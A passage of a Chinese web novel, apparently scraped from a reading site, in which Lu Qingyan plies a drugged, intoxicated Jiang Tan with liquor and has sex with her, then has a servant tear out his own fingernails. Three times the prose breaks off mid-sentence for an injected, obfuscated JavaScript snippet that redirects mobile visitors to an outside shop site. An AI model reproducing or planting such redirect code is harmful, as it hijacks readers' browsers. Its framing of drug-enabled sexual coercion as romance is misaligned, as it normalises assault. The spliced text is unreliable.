范小姐叹气:“我也是碰运气试一试。” 她心里清楚,就算是她爹亲自去请,十有八九连那人身边的管事都见不到。 众人闻言,饱含遗憾地离去。 姜昙也准备离开。 只是她刚准备起身,眼前忽然掉落一个瓷瓶。咕噜噜滚在地上,还有褐黄色的粉末从瓶中洒落出来。 姜昙一惊,措不及防捂住口鼻。 方才紧张之时泄了呼吸,她嗅到一股奇怪的甜腻味。 是胭脂?但一点也不像。 花丛外还有两人未离去。 一人道:“快捡起来,别让人看到!” 声音意外的熟悉,竟是周蝉衣。 一个女子急急忙忙蹲下来,一手掩鼻,一手用绣帕将洒落的褐黄色粉末擦去,随后谨慎地将瓷瓶包起来,塞回袖中。 这人姜昙也认得,是周蝉衣的婢女。 “小心些,这东西贵着呢!” 婢女将擦拭药粉的绣帕丢在花丛里,两人匆匆离去。一主一仆的交谈声压得很低,渐不分明: “小姐,真的要去吗?” “必须去!小环,这一次务必要成事,若不能成,我们就要回叔父家去了。难道你希望回去吗?” “……” 待两人走后,姜昙才小心松开手。 那绣帕落在花泥中,不知染的是什么,一片黄色的污渍。 毒药? 可周蝉衣应该没那个胆子。 犹豫片刻,姜昙还是打消了探究的想法,猫腰从另一侧出去了。 不管她们要做什么,跟她终究是没关系的。 . 姜昙躲到了南边的亭子。 亭中没有点灯,却映着水中的月光,亮得晃眼。不远处就是范府的客房,空荡荡的一排,看起来十分寂静。 亭角放着一盆昙花,开得正盛。 此处是安静赏景的好地方。 可是姜昙没有想到,范府实在太小了些。她在扬州所认识的人,仿佛不约而同,都在今夜聚于范府。 先是周蝉衣,接着是施茂林……和他的新欢。 眼看着两人依偎着疾步走过来,姜昙不得不再次躲避。 施茂林和红柳二人,似在吵架。 “你到现在还念着她!” 红柳在后面追着,施茂林理也不理,径直冲进亭子里,却发现没有任何人在。 红柳追上来,冷笑说:“只是一个背影相像之人,瞧你急的,像是狗见了骨头一样追上去!” 施茂林不肯相信,他方才分明没有看错。可视线在亭子四周打量好几遍,仍是静悄悄的,空无一人。 “我只是……” “只是什么?” 施茂林沉默。 他也不知道为什么要追上来,只是辨认出背影的那一刻,他的腿脚就不听使唤,先脑子一步追了上来。 红柳看见他这副样子,就知道他在想什么。 眨眼间泪眼婆娑:“你要是忘不了她,尽管回去找她。我总归是个孤苦无依、没有爹娘做主的。就算将身子给了你这个武举老爷,最后被你抛弃,也没处说理去!” 红柳哭着跑开。 施茂林最后看了一眼空荡荡的亭子,咬牙追去:“我不是这个意思……” 姜昙坐在亭子后。 两人才分开几日,施茂林与红柳已这般亲密,真是令人伤心。 然而姜昙摸了摸眼下,没有一滴眼泪。 只是耳际脸颊发热,浑身止不住地颤抖。 她竟被施茂林气到了这种地步。 不,不对。 姜昙摸着一声快过一声的心跳,耳中寂静地过分。 不对劲! 鼻间又闻到那股甜腻的香气,姜昙整个人坐在阴影中,她伸出手去—— 皎洁的月光中,袖口的一点褐黄色的污渍如此显眼。 . 范府的婢女端着醒酒汤往园子里去。 公子小姐们喝醉了酒,此时正要吟诗作赋,传了一些醒酒汤压一压醉意。 婢女自廊下经过,身边的客房门猛然被推开。 婢女吓了一跳,险些叫出来。可是很快,她嗅到这人发间的花香,知晓这是一个女客,才渐渐镇定下来。 “有清水吗?” 女客额角有细汗,约莫是喝醉了。 婢女愣愣答道:“园子里有。” “请给我取一些过来。”发烫的双手在婢女身上推了一记,催促说:“快一些。” 婢女于是加快了脚步,匆匆将醒酒汤放到园子里,心里惦记着那位女客,立即盛了清水往客房去。 岂料刚过拐角,一柄剑横亘而出,拦在身前。 婢女惊出一身冷汗,屏息看着护卫身后,那位站在月光里,脸庞却藏在阴影下的人。 “公子、公子饶命。”婢女仓皇跪在地上。 “手里端的什么?” 婢女手里的碗被执剑之人夺过去,恭敬奉至锦衣公子眼前,哆嗦着说:“是清水。” 说完,婢女低头,不敢再多看一眼,大气也不敢出。 片刻之后,碗重新被递到眼前。 “送进去。” 那位公子如此说道。 . 实在是有些热了。 姜昙把最近的窗户打开,这才让人感觉舒服些。 迷迷糊糊之间,门被敲响,是先前那个婢女:“小姐,奴婢、奴婢来给您送……” 后面声音太小,姜昙听不清楚。 “进来。” 得到允许之后,婢女进门来到姜昙身边。 范府的婢女很懂事,亲手将碗抵至她的唇边,还准备了布巾为她擦去嘴角的水渍。 见她喝完,婢女眼神紧张地问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027151|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姐觉得……如何?” 姜昙五脏六腑都极热,一碗清水喝下去只能察觉到冰凉彻骨的寒意,什么滋味都尝不出来。 她的神智恢复了些:“尚可,谢谢你。” 规矩她还是懂的。 姜昙塞给婢女一些银角,后者神色有些惶恐,留下茶盏,千恩万谢地出去了。 姜昙想,她隐约好像知道袖口沾上的褐黄色粉末是什么了。药性如此强烈,幸亏只沾上这么一点。 想了想,她还是觉得不保险。 于是又倒了一碗水,一口气喝下去。按照医书上说,无论什么药,都可多饮清水化去药性。再过小半个时辰,应该就会好一些。 姜昙靠在榻上,昏昏欲睡。 不知睡了多久,面上吹来一阵凉风。姜昙蓦地睁眼,看到屋子里有个黑影,惊出了一身冷汗。 “谁!” “是我。” 烛火被点亮,映出陆青檐的脸,他从门外进来,眉眼柔和,美得不像人。 姜昙心中忽然闪过一个念头,先前范小姐和同伴说起的人,原来是他。 若说是陆青檐,那就不奇怪了。 姜昙惊讶问:“你怎么在这?” 两个人隔着很远的距离,陆青檐的脸像笼着一层纱,身影亦有些朦胧。 陆青檐的声音似乎很远,像是从梦中传来一样:“嫂嫂,我心中始终有一个疑问,思来想去不明白,于是来问你。” 姜昙的眉头皱起来:“可是此时此地,我们……” 不适合问问题。 姜昙此刻脑中犹如一团浆糊。 她来不及想陆青檐是怎么出现在这里,两人孤男寡女共处一室,且这还是范府的客房,一切是极其不合规矩的。 因为她刚冒出了个念头,陆青檐就开口问说:“你明日不是要离开了?我怕来不及问,只好来这里找你。” 似乎……有道理。 姜昙迟钝地想了半晌:“那你问吧。” 陆青檐手持烛台,走近了些,一副认真请教的模样:“我想问你,为什么他可以,我不行?” 这一次姜昙想了很久,才想出陆青檐说的是谁:“你们不一样。我与他那么多时日……生出了感情,你——” 姜昙慢吞吞地说:“你是朋友。” 尽管陆青檐并不承认。 然而这个解释并不能让陆青檐满意,他声音轻得像一声叹息:“嫂嫂对每个朋友都这么亲密吗?” “什么意思?” 陆青檐慢慢走了过来,眼下的泪痕装着烛光,容色惑人。 别哭了。 姜昙愣愣地看着他走近,忘记了后退。她伸出手,即将触碰到他脸颊的那一刻,像是被火燎到一般,蓦地抽回手。 行至半路,被陆青檐紧紧抓住了。 那点烛光从泪中移至他的眼中,亮得惊人。 姜昙忽然有些不敢看他。 他的手指在她手腕内侧来回摩挲,让她的疤痕隐隐发痒:“朋友之间会这样吗?” 脑中隐约有什么抓不住,姜昙晃了晃脑袋,头晕目眩。 这时,门外传来一阵呼喊:“阿昙——” 这不是梦! 姜昙甩开陆青檐的手,她想起来了! 婢女给她送的水不对,那根本不是水! 一门之隔,月光之下。 婢女无声啜泣着,眼泪滴在脖颈间的利刃上,白得晃眼。 她跪着的地方是一片水渍,那是她去园子里装的清水,尽数被人泼在脚下。 姜昙咬了下舌尖,痛意使她瞬时清醒,不知何时消失的味觉和嗅觉回来了。 一股浓烈的刺激味道直冲鼻腔。 她方才喝下去的,是和清水截然相反效用的东西—— 酒。 且是烈酒。 之前压下去的热意一涌而出,姜昙烧得手脚发软,再也站不住,摔坐在榻上。 有人缓缓走来。 冰凉的手掌贴在她的脸上,声音中却没有半分关切之意:“嫂嫂,你怎么这么烫?” 51. 第 51 章 药性一点也没有散去,反而因为酒意发挥得更加深重。 陆青檐蹲在姜昙面前,手掌自她的滚烫的面颊抚到颈后,冰凉熨帖。 姜昙神色有一瞬恍惚,却在门外的呼唤声又响起时,再次清醒。 不能待在这里! 她甩开他的手,起身循着呼唤声处径直走去。 却被人猛然抓住了袖子。 “你要去哪?” 姜昙回头看着陆青檐,他此刻面容平静,眼中的疯狂之意不动声色,似乎在紧紧藏匿着什么。 他真的……太像宋庸了。 若是清醒时,姜昙尚可勉强分辨两人的区别,让自己不至于混淆,可惜她眼下不是。 无论闭上眼多少次,再睁开时,仍是那一张让人心惊的脸。 这张脸曾经那么狰狞,露出森森笑意,掐着自己的脖颈用力时,面上神情因兴奋而扭曲。 冰凉的手沿着袖子攀上来,如一条阴寒的蛇,再次缠上她的手腕。 “放手!” 那一夜的记忆涌现,姜昙下意识地用尽全力抵抗,却发现高估了他的力气。 她重重一推,陆青檐不仅没有力气抵抗,反而被自己推远了一些,整个人跌在离榻不远的桌子旁。 桌上静置的烛台猛地一晃,咣当滚了一地。 客房内变得黑暗,桌子旁的身形却越发清晰。 陆青檐似乎是撞到了手臂,靠在桌子上缓了半天,都没有下一步动作。 姜昙忽然想起来,他手臂被她刺伤至今只有短短几天,现在应当还未好。只是他装的很好,从见面到现在行动如常,竟教人看不出破绽来。 他与那夜不一样,此时十分虚弱,看起来亦有些可怜。 他不是宋庸。 姜昙朝他走了两步,想要搀陆青檐起身,刚走出几步,又怔怔停下。 就算他不是宋庸又能怎么样呢? 早已决定好保持距离,如果没有今晚这档子事,现在她已在客栈,准备明日离开扬州的行李。 只要离开扬州,她自有去处,而陆青檐在扬州也只是暂居,他注定会回京去。 从此两人一南一北,或许生死不见。 陆青檐撑着桌子慢慢站起来,整个人隐没在黑暗中: “嫂嫂。” 他语气一变,不似先前柔和,多了些咄咄逼人之感:“为什么不回答我的问题?” 姜昙整个人说不出的焦躁:“什么问题?” ——嫂嫂对每个朋友都这么亲密吗? “长公子,在你眼前我始终保持着合适的距离。反倒是你,三番两次做出那些不妥之举,我本不是斤斤计较之人,可你……” 陆青檐截住她的话:“那信呢?” “什么信,我从未写过——” 不,写过的。 姜昙想起来,她曾替沈芳茵代笔,在陆青檐还未来到陆家之前,就已经送过去了。 零零散散,统共几十封不止。 “五十二封,三个月。”陆青檐记得十分清晰:“嫂嫂,你给我写了三个月的情信,怎么连看我一眼都不敢?” 他怎么知道? 姜昙呼吸都冒着热意,她深吸一口凉气,才冷静了些:“那不是我,而是——” 陆青檐打断她说:“茵表妹不认得字。她附信送来的荷包上绣了我的名字,却少绣了一笔,且字迹扭曲,教我险些认不出来。” 说着,他从衣襟处抖出什么,借着月光,姜昙看清那是一叠信笺,上面是密密麻麻的簪花小楷。 都是她的字迹。 “恰巧收到信时,我已结识了施兄,正在一处喝酒。他得知有女子给我写信绣荷包,便将自己的也拿出来显摆。” 施茂林所有的荷包都是姜昙绣的,内里有一个“昙”字。 独一无二的昙。 陆青檐意味不明地说:“事到如今,你竟还想骗我。” 姜昙闭了闭眼:“……对不起。” 姜昙自小记忆力不错,看医书也能很快记住,可此刻她却有些痛恨自己绝佳的记性。 因为这信中,一字一句她都记得,且熟记于心。 陆青檐轻轻地念道: “忆君心似西江水,日夜东流无歇时。” “人道海水深,不抵相思半。海水尚有涯,相思渺无畔……” 姜昙耳根发烫,紧紧捂住耳朵。 那些诗句每一个字都在提醒她,她曾经写过那样难堪的字句,招惹过一个无辜的人。 陆青檐悄然走至姜昙的面前:“我收到信时,当真以为有一个姑娘如斯爱慕着我,天长日久,我竟也动了心,期盼着见到她。可谁能想到……” 他低了声音:“这人竟是施兄的未婚妻子。朋友妻不可欺,我不是不明白这个道理,于是一直费尽心思压抑着自己的感情。原本我打算不让旁人知道,这些日子以来,我也是这么做的。直到那日,你给我喂了药。” 姜昙快要听不下去。 陆青檐步步紧逼,她步步后退,直到腰间抵上窗沿,退无可退。 陆青檐几乎是贴着她的面颊说话:“嫂嫂你猜,是什么药?” 姜昙别过脸去。 她看着那半扇开着的窗户想,若是能攀着窗户出去,跳进亭子旁的那片湖里躲起来就好了。 此刻脑子里一片浆糊,无法再思考其余事情,只有逃走一个强烈的念头。 姜昙也正打算这么做。 她应付着他问道:“什么药?” “嫂嫂觉得呢?” “一……一些能让你发汗的药,能缓解疼痛,以便我能缝合伤口。” 一晌贪欢不能提,这是那人私制的药物,陆青檐怕是听都没听过。 “就是这个,你走后我不得已找了位好心的大夫,你猜大夫怎么说?” 姜昙迟钝地思考。 陆青檐很快给出答案:“大夫说,此药催、情。” 怎么可能! 姜昙蓦地抬头看他。 晃月香真是个好东西。 陆青檐看着姜昙懵懂无助的眼神,愉快地想道。 热气扑在姜昙的颈侧,陆青檐耳语道:“嫂嫂不知道吗?此药是给人寻欢作乐之用,混着酒液服下,浑身生热,需宽衣解带,发汗散热。不过大夫说了,最好的办法是趁兴行——” “别说了!” 姜昙又惊又羞,连连后退。 她从不知道一晌贪欢还有这种效用,宋庸以前从没跟她说过! 可是她已没有退路,陆青檐恶意一笑,重重关上她身后的半扇窗。 房内更黑了。 可陆青檐凑得如此之近,姜昙能清楚地看到他炙热的眼神,以及楚楚可怜的泪痕。 他这副模样,倒像是她欺负了他。 高大的身形几乎将姜昙逼在角落里,陆青檐语气越发恳切:“嫂嫂,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037145|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你知礼保持距离,我何尝不是这样?可我早已被你那三月的情信骗了心,以为你我两心相许,又被你喂了药,那夜如何能忍住不做那些冒犯之事。如今你说走就走,将我置于何地?” 姜昙脑中彻底乱了,无论如何也回答不出这个问题。 可陆青檐牢牢地盯着她,姜昙只好说:“你、你让我想想……让我好好想想……” 陆青檐看着姜昙四处找地方躲的无措模样,继续循循善诱:“你也是喜欢过人的,一定知道这个过程有多么痛苦难熬,夜里辗转反侧难以入眠,醒来梦中都是……” 说到此处,他蓦地停下,一眼不错看着她。 未尽之意,尽在不言中。 姜昙简直头皮发麻。 没有办法,她笨拙地抬袖掩面,竟试图挡住那道灼灼的目光。 姜昙喃喃说道:“是我对不起你,往后我会尽力补偿。只是现在我……” 姜昙重重喘了口气,她觉得身体中那股热意如死而复生的火,熊熊从里面烧了起来。 许久才接着说:“我身体不适,能否改日再说?” 冰凉的手探了探姜昙的额头,磨蹭着不肯离开:“嫂嫂这病,我略知一二。” 姜昙惊喜道:“那你能不能——” “不能。” 陆青檐一手捏住她的手腕,往上摸进了衣袖:“嫂嫂是大夫,不需我说就知道自己是什么病,也该知道,只有一种对病的药。” 姜昙听懂他话中之意,心中绝望。 窗外传来了呼喊声。 方才护卫们驱走的人,此时又找了回来。 姜昙听清那是谁的声音,挣扎着抽出手去将窗户推出一道缝,却被陆青檐覆住手。 “嫂嫂真的要看?这么晚了,施兄显然要留宿范府,可他身边却带着一个女人。嫂嫂你猜,他和谁在一起,晚上和谁一起睡?” 姜昙犹豫着。 陆青檐忽然松开了手,离开姜昙。两具身躯分开,并没有让姜昙感觉凉爽,反而更加焦躁。 有什么从身体深处燎了上来。 姜昙才发现自己连站也站不住,霎时瘫软在地。 窗缝里泄出一缕月光,打在陆青檐的面上。 他居高临下地看着她:“话又说回来,嫂嫂喜欢谁是你的自由。若你要施茂林,我即刻命人找他过来。只是他身边那位佳人,恐怕要不高兴了。” 姜昙想起昔日在客栈看到的糜乱场景,那女子桃花纹的胳膊上遍布吻痕。 在她不知道的地方,这两人不知滚过多少回了。 姜昙被逼出哭腔:“我不要他……” “那嫂嫂就是要我。” 带着凉意的怀抱勾过腿弯,揽她起身时,姜昙身上的焦躁之意散了些,犹如炎夏浸透寒冰,浑身舒畅,喟叹出声。 酸涩的感觉一同被勾了上来,姜昙委屈地想哭。 陆青檐抱着她去了窗边,将窗户打开半扇,让她靠在自己怀中,看外面的一对男女。 “最后再问嫂嫂一次,你要他,还是要我?” 外面亭中,红衣女子落泪哭泣,施茂林无措安慰。接着,那女子忽然搂住施茂林的肩,脸贴了过去。 陆青檐袖子挡住她的脸,姜昙没有看到一对璧人亲吻的画面。 “我不要他。” 陆青檐蹭了蹭她的脸,像一只温顺黏人的猫: “那我往后就不叫你嫂嫂了,阿昙。” 52. [锁] [此章节已锁] 锦被软得像云。 姜昙深陷入里面,身体轻得要飘起来,可脑子里却如此寂静。 陆青檐进来了。 她仰面看到帐子上打转的流苏,悠悠地晃着,因为另一人的动作而剧烈跳动几下。 姜昙的心像是活了过来,也跟着急跳几下。 她蓦地伸手盖住他的唇,用力推拒着他的脸:“有没有冷水?” 陆青檐咬牙切齿:“没有。” “那冰块……” “也没有。什么都没有!” 陆青檐的额头强硬地抵住她的,几乎要从眼睛钻到她的心里去。他语气凶狠地说:“只有我。” 姜昙别过脸去。 好,好得很。 嫌弃他! 陆青檐坐起身来,将她缠在自己脖颈上的双手拿下来,用力放到一边去。 脸侧压着陆青檐的袖子,他的袖子上不知熏了什么香,或许还有他自己的味道。 姜昙闻着那味道,心中好似有蚂蚁在啃噬。 一股又一股热意如浪潮,一股在胸前烧起来,一股汹涌着往下去了。 姜昙这才发现,是自己离不开陆青檐。 他的外衣已被她脱了一半,挂在手臂上。露出贴身的里衣来,黑暗之中,隐约可见绣着花,却看不清是什么花。 只见那花藤从衣领处在背上肆意四处蔓延着,最终尽数被一条束带收到细细的腰身中。 再往下,是铺开的衣摆。 美人如花隔云端,范小姐几人说得对,陆青檐好像才是那个美人。 她又想起片刻前自窗户看到的场景。 遂伸出手,从衣袖往里去勾他的手指。陆青檐顿了顿,缓缓地将她的手指一根一根掰开,连同袖子也一点一点抽出来。 姜昙鼻子一酸,委屈地想哭。 一只手捉着她的胳膊拉起来,姜昙浑身没骨头似的被人用力抱紧。 陆青檐的双手穿过她的腰间,两人严丝合缝地贴在一起。他的唇贴了上来,恨恨地耳语:“总是这样!我才说你一句……” 接下来的话,皆隐没在激烈的缠绵中。 姜昙如同一条鱼,因干渴而发痒的身体忍耐许久,终于得到了滋润。 那一壶清水根本不足以缓解她的渴意,她不得不承认,此刻面前之人才是天降的甘霖。 她处在大火之中,只有抓紧这块冰,才能苟活性命,不至于被烧死。 他在她的胸口作乱。 唇齿在交合的衣领口流连,似乎能嗅到随着呼吸起伏而从衣襟处渗出的幽香。 他知道她锁骨下有颗小痣,平日里被衣领掩盖看不出来,可他也知道,只要将衣领稍微扯乱,留出一处巴掌大的口子,就能看到那颗小痣。 可惜床帐内一片昏暗,此刻是看不见的。 但好在,他闭着眼也能寻摸到它的位置。 瞧,他找到了。 只是用唇齿轻轻厮磨,她就受不住了。 细白的颈子向后绷紧,成一条若隐若现的线,胸口剧烈起伏,像揣了一只受惊的兔子。 有趣。 于是问她:“藏了什么,跳得这么急?” 他便伸手去探究她的衣襟。 许多年前他好奇时摸过,那时她比现在醉得要沉,叫也叫不醒。他入里摸到一片柔软时,疑惑之下捏了捏,她乖乖地一声不吭。 不像现在—— 姜昙半阖着眼睛,连睁开也费力,却还记得伸手来挡住衣襟,拦他的手。 陆青檐嗤笑着松开手。 姜昙整个人便失力般向后倒去,一张脸深陷在被子里。 还记得三年前他是阶下囚,静等午时三刻处斩,如同俎上鱼肉,安然待宰。 如今换了位置。 他静静欣赏了会儿她这副任人处置的模样。 不多时,他呼吸急促地压上来:“姜昙,姜昙……” 唇舌再度纠缠到一处。 . 门外,施茂林又回来了。 他心里很肯定,方才的身影就是姜昙,姜昙也来了范府。 可是天色这么晚了,姜昙还在范府做什么呢? 她应当与范小姐从无交际,就连自己也是凭着红柳与府内管事相识的缘故进来的,连园子里都不许他们靠近。 姜昙是孤身一人来的吗,她能和谁一起呢? 就算惹了红柳生气,施茂林也不放心,他决心一定要回来看看。 这边是范府的客房,施茂林朝四下里一看,寂静无人。他便沿着房门一间间找,趴在门上听声音。 前几个屋子里空旷安静,应是无人。可第三间屋子里,似乎传来了一丝微妙的动静—— 那是……亲吻时的啧啧水声。 施茂林方才意识到这一点,身后有布巾捂住了他的嘴。几个练家子迅速而隐秘地将他缚住手,迫使他跪在地上。 施茂林甚至没有还手的机会。 他刚想站起来,肩上一柄沉重的利剑压下来。 剑未出鞘,剑身拍拍他的脸,示意他看向远处的地面。 那里躺着一个婢女,不知生死。 施茂林立时就安分了。 . 姜昙的手在床面上摸索,想要抓住点什么。 可她什么都没抓住,凉滑的衣料从她指间溜出去,那是厮磨时陆青檐脱掉的外衣。 他伸手过来脱她的衣服。 姜昙尚存一丝理智,伸手来挡:“不……” “为什么?”陆青檐停在她的耳边,喘息着问。 姜昙脑中浮现那些纨绔子弟饮酒服五石散后的糜乱场景,说:“像衣冠禽兽。” 难怪。 陆青檐也想到了那时候。 “那就听阿昙的。” 不脱便不脱。 可她不是这个意思! 陆青檐掀起荷边裙裾,手指像蛇一样滑进去,边问:“阿昙方才勾的是这只手,喜欢这只手吗?” 说着,他去咬她的耳垂,唇边却尝到了滚烫的泪意。 微微抬头,看到姜昙无声地流着眼泪。 “怎么了?” 姜昙声音沙哑:“我怕你这张脸。” 从第一眼就害怕。 就算后来陆青檐救她性命,就算后来两人关系和缓,她依旧怕他,从没有一刻停止。 她感激他是事实,怕他亦是事实。三年的噩梦,怎么可能因为另一人消解。 姜昙眼睫一动,大颗泪珠滚落眼尾,洇入散乱的发间。 他很少见她哭,这次是被逼得狠了。 陆青檐抬头在她唇上咬了一口:“那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044531|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不看。” 接着扯了头上的发带,他今日未戴发冠,本意是出远门,如此也有别的用处。 他将发带盖在姜昙眼上,眼见她整个人放松下来,才继续之前的动作。 手指轻轻移动,他忽然看到姜昙手上摇晃的玉镯,触摸到材质的那一刻,他就知道这玩意儿是个假货。 陆青檐冷笑一声,强硬着将那镯子取下来,随手丢了出去。 什么粗鄙之物。 玉镯咕噜噜地滚到门边,惊得门外的施茂林抬眼。 刀刃在侧,任何细微的动静都能让他好一阵害怕。 万幸的是,这些歹人没有杀他的意思。只是不知道,何时才能放他了。 . 凉意探入腿根的瞬间,姜昙浑身一颤,蓦地睁开眼睛,手指胡乱抓住了一缕长发。 是陆青檐的头发。 她扯得他微微仰头。 “别怕,别怕。”他察觉她的慌乱,在她唇上安抚地亲吻着:“一会儿就好。” 姜昙垂眼,从发带的颤动中拼凑出一张迷乱的俊颜,像是下山的精怪。 不过是个男人而已。 姜昙心道,又不是没做过男人。 没什么大不了的。 她颤抖着闭上眼睛,意识逐渐模糊,听到陆青檐在她耳边断断续续说着什么: “姜昙,是你害了我,情因你而起,也该由你来灭,你欠我的。” “你想要的安稳日子,我也可以给你,为什么总是不肯看我呢?” “就算有施茂林也没关系,我愿意做……” 后面的听不清了。 . 姜昙醒来时,窗外天光尚且昏暗。 浑身都是酸痛的感觉,她捂着发胀的脑袋想要坐起来,忽然发现颈侧还有另一人的呼吸。 姜昙悚然看过去。 陆青檐眉目舒展正安眠,唇角含着一丝隐约的笑意,似乎梦到了什么美事。 姜昙闭了闭眼,此刻才想起来昨夜那些不堪的记忆。 后来她受不住伸手推他,他却握住自己的手腕,像是发现了什么,忽然语气凶狠地问起她腕上的疤痕。 姜昙不愿搭理他,他就将覆眼的发带缚在她的手腕上,好像还哭了,比她流的泪还多…… 疯了一样。 窗外的天光逐渐分明。 姜昙想了很久,也没想到该怎么办。 她生平遇到过不少难事,连鬼门关也去过,却第一次毫无头绪,一点也想不到解决的办法。 睡梦之中,陆青檐皱了皱眉,似是寻不到她,被子下的双手箍紧她的腰际,这才露出放松的神情。 姜昙又思考了许久。 最终在陆青檐有苏醒的迹象时,勾过枕边的荷包,将里面的药粉洒在他的面上。 看着他歪在一边,才松了口气。 纵使这样,她也费了很大的力气,才掰开他的手指。 下榻时,姜昙双腿一软,险些跪在地上。等到能站起来,腿也在发颤。 她缓了许久。 客房里有铜镜,姜昙将衣服穿好,发饰也理好。最后掀开窗户,最后看了一眼陆青檐。 对不住了。 她还是决定离开扬州,先回盐城一趟。 至于到底相欠与否,到时再说吧。 53. 第 53 章 施茂林在门外跪了一夜。 那穷凶极恶的歹人也未对他怎么样,施茂林不知何时睡过去。 再次醒来,是被一阵摔东西的声音惊醒的。 他睁开眼睛,看到两边的歹人也都战战兢兢地低下了头,意识到屋子里正在发脾气的是个了不得的大人物。 想起昨夜听到的动静,莫非是这大人物身侧服侍的女人伺候得不好,惹得他生气吗? 以往武馆也去贵人府上做过护卫,施茂林深知这些人气性上来,打杀个奴才也是家常便饭。 这时候,最好的办法就是默不作声,装作不存在。 于是也跟着低头。 门吱呀一声被推开,带着某人的怒气。 “滚进来!” 身后那个带刀的护卫踟蹰片刻,上前。 行至门口,被一脚踹出来。却不敢站起来,一声不吭地,就那么跪着请罪。 门内的贵人斥道:“人去哪了?在你们眼皮子底下跑了,都是死的吗?” 施茂林原本缩头缩脑,认出这声音后,猛然抬头。 “青檐!青檐兄!是我!” 看清外面跪着的人后,陆青檐并没有立刻搭理他,而是低头看了一眼地上跪着的护卫。 刘武说:“长公子,此人昨日半夜窥窗,形迹可疑,故而属下才命人把他绑起来,只等公子处置。” 昨夜威风凛凛的歹人杀手,眼下狼狈至极,跪在陆青檐面前,像一条收起爪牙的狗。 施茂林心中隐隐有些快意。 他当这是什么了不得的人物,原来只不过是陆青檐手下的一个打手。想来和邓伯安之流类似,做些牵马开道的杂事。 他心中不免得意起来,兀自站起来,对左右斥道:“我是你们公子的友人,并非人犯,还不快给我松绑!” 左右护卫面面相觑,得到陆青檐眼神示意后,乖乖松绑。 施茂林冷哼一声,大摇大摆行至陆青檐跟前,冷眼斜着脚边的刘武:“青檐兄,你这手下未免太过嚣张,这可是范府而不是陆府,我是范府的客人,只是路过客房想来休息,却被他不分青红皂白地抓住,绑了整整一晚。自然,我们是朋友,可以不与他计较这些。但若是被范府的人知道了,寻上门问罪,这不是失你的脸面吗?” 陆青檐问他:“依施兄看,我该怎么处置这嚣张的下人?” 施茂林想起销金窟赌坊的做派,倒是可以效仿。 于是凑近陆青檐耳语:“小惩大诫一番即可,不如拔他一根指甲,教他长长记性。” 陆青檐不屑道:“一根指甲?一根指甲算什么,不如拔他十根指甲,再剁掉一根手指,废掉一只手,施兄觉得怎么样?” 施茂林满脸惊诧。 他其实只想出气报复,并未想过要废掉人的手,这也太狠心了些。 陆青檐说:“施兄,若要狠就要狠得彻底,优柔寡断会教人看轻了你。世家大族里处置下人,都是这么做的。” 施茂林犹豫片刻,下定决心:“青檐说的对!” 陆青檐噗嗤一声笑出来。 施茂林诧异地看着他,却见陆青檐笑着打量他一眼:“施兄啊施兄,你如今真是与以前大不一样了。我方才只是玩笑话,没想到你竟真的那么狠心。” 他走到刘武身边,拍了拍他的肩膀:“不过施兄是我的朋友,你的吩咐陆青檐自当听从。刘武,还不快照办?” 施茂林膛目结舌。 他看到那叫做刘武的下人看了自己一眼,随后没有丝毫犹豫,抽出腰间佩剑,就要砍断自己的左手。 刘武怕是记恨上他了! 施茂林连忙去拦。 好不容易将剑夺下来,刘武双手一合,转眼间拔下了一根指甲,手指鲜血淋漓。 “青檐兄!” 陆青檐懒洋洋地应道:“在,施兄有什么吩咐?” 施茂林抖着手指刘武,陆青檐笑着说:“停。” 刘武停止动作,再次恭敬跪在地上。方才两人说话的功夫,他已将左手的指甲全部拔掉,一只手变得血淋淋,还在往下滴着血。 十指连心,如此疼痛,他竟吭也不吭一声。 这么一通折腾下来,不知是不是跪了一夜腿已麻木,施茂林险些站不稳。 陆青檐笑着说:“施兄当心脚下,可别摔了。” 施茂林惊魂未定地看着陆青檐,仿若第一次认识他。 他如今和以前倒是一模一样,笑吟吟地说着话,一副陌上公子哥的明媚模样。 可施茂林看着他,却生了一背冷汗。 陆青檐靠过来,和以往与他称兄道弟时一般亲热。可接下来施茂林再开口,却总要再三斟酌,不敢随意答话了。 陆青檐问:“施兄来范府做什么?” 施茂林:“找……赏花。” 他实则是跟着红柳来找武举考官的,今年的考官是前一任考官的学生。私下里早就放出消息来,谁的孝敬够多,就让谁做今年的武举人。 施茂林打听了许久才打听到这消息,不愿意轻易和陆青檐说。 陆青檐意味深长地“哦”了一声:“真巧,我也是来赏花。” 施茂林无心与他说话,随口问道:“什么花?” “昙花。” 陆青檐笑意盈盈:“施兄可知道昙花?” 施茂林当然知道,妙仪的小字就是阿昙。 